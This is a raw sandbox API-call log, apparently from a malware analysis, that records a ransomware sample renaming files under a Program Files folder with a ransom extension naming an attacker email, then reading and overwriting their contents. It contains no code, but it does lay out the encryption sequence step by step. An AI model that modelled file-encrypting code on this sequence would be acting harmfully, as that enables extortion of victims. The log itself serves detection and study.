MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.860] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47350058, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x573fd20, dwReserved1=0x6dbb48, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5380 [0216.860] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0216.860] Sleep (dwMilliseconds=0x1) [0216.868] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgradeth2.xml") returned 1 [0216.868] GetProcessHeap () returned 0x630000 [0216.868] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fa4) returned 0x74d7f88 [0216.868] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0216.869] CloseHandle (hObject=0x6cc) returned 1 [0216.869] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.869] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5340 [0216.870] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0216.870] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0216.870] GetProcessHeap () returned 0x630000 [0216.870] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f4298 [0216.870] GetProcessHeap () returned 0x630000 [0216.870] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f4470 [0216.870] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.870] ReadFile (in: hFile=0x6cc, lpBuffer=0x70f4298, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4298*, lpNumberOfBytesRead=0x573ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0216.873] GetProcessHeap () returned 0x630000 [0216.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0216.873] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.873] WriteFile (in: hFile=0x6cc, lpBuffer=0x70f4470*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4470*, lpNumberOfBytesWritten=0x573ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0216.873] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.873] WriteFile (in: hFile=0x6cc, lpBuffer=0x70f460f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f460f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.873] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.873] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.874] CloseHandle (hObject=0x6cc) returned 1 [0216.874] GetProcessHeap () returned 0x630000 [0216.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f4470 | out: hHeap=0x630000) returned 1 [0216.874] GetProcessHeap () returned 0x630000 [0216.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f4298 | out: hHeap=0x630000) returned 1 [0216.874] GetProcessHeap () returned 0x630000 [0216.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0216.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47376049, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x573fd20, dwReserved1=0x70f4298, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5380 [0216.874] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0216.874] Sleep (dwMilliseconds=0x1) [0218.526] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastreviewsettings.xml") returned 1 [0218.526] GetProcessHeap () returned 0x630000 [0218.526] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x506c) returned 0x6fe3bb0 [0218.526] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0218.526] CloseHandle (hObject=0x4e0) returned 1 [0218.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.527] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0218.528] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0218.528] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0218.528] GetProcessHeap () returned 0x630000 [0218.528] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa9c8 [0218.528] GetProcessHeap () returned 0x630000 [0218.528] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aaba0 [0218.528] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.528] ReadFile (in: hFile=0x4e0, lpBuffer=0x74aa9c8, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa9c8*, lpNumberOfBytesRead=0x573ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.531] GetProcessHeap () returned 0x630000 [0218.531] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0218.531] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.531] WriteFile (in: hFile=0x4e0, lpBuffer=0x74aaba0*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aaba0*, lpNumberOfBytesWritten=0x573ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.531] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.531] WriteFile (in: hFile=0x4e0, lpBuffer=0x74aad3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aad3f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.531] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.531] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.576] CloseHandle (hObject=0x4e0) returned 1 [0218.576] GetProcessHeap () returned 0x630000 [0218.576] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aaba0 | out: hHeap=0x630000) returned 1 [0218.576] GetProcessHeap () returned 0x630000 [0218.576] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa9c8 | out: hHeap=0x630000) returned 1 [0218.576] GetProcessHeap () returned 0x630000 [0218.576] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0218.576] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x483b6519, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x573fd20, dwReserved1=0x74aa9c8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0218.577] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0218.577] Sleep (dwMilliseconds=0x1) [0218.588] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgrade.xml") returned 1 [0218.588] GetProcessHeap () returned 0x630000 [0218.588] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5064) returned 0x6fe3bb0 [0218.588] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0218.589] CloseHandle (hObject=0x6f4) returned 1 [0218.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.589] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0218.590] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0218.590] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0218.590] GetProcessHeap () returned 0x630000 [0218.590] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6f0f48 [0218.590] GetProcessHeap () returned 0x630000 [0218.590] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ef760 [0218.590] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.590] ReadFile (in: hFile=0x6f4, lpBuffer=0x6f0f48, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0f48*, lpNumberOfBytesRead=0x573ff0c*=0x260, lpOverlapped=0x0) returned 1 [0218.594] GetProcessHeap () returned 0x630000 [0218.594] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0218.594] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.594] WriteFile (in: hFile=0x6f4, lpBuffer=0x6ef760*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef760*, lpNumberOfBytesWritten=0x573ff0c*=0x260, lpOverlapped=0x0) returned 1 [0218.594] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.594] WriteFile (in: hFile=0x6f4, lpBuffer=0x6ef9bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef9bf*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.594] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.594] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.594] CloseHandle (hObject=0x6f4) returned 1 [0218.595] GetProcessHeap () returned 0x630000 [0218.595] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef760 | out: hHeap=0x630000) returned 1 [0218.595] GetProcessHeap () returned 0x630000 [0218.595] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0f48 | out: hHeap=0x630000) returned 1 [0218.595] GetProcessHeap () returned 0x630000 [0218.595] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0218.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x483dcca2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x573fd20, dwReserved1=0x6f0f48, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f40 [0218.595] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0218.595] Sleep (dwMilliseconds=0x1) [0218.604] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\index.html", len=0x6f | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\index.html") returned 1 [0218.604] GetProcessHeap () returned 0x630000 [0218.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5060) returned 0x6fe3bb0 [0218.604] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0218.604] CloseHandle (hObject=0x6f4) returned 1 [0218.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.604] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\index.html.id-1998248312_[contact-support@elude.in].firex3m", 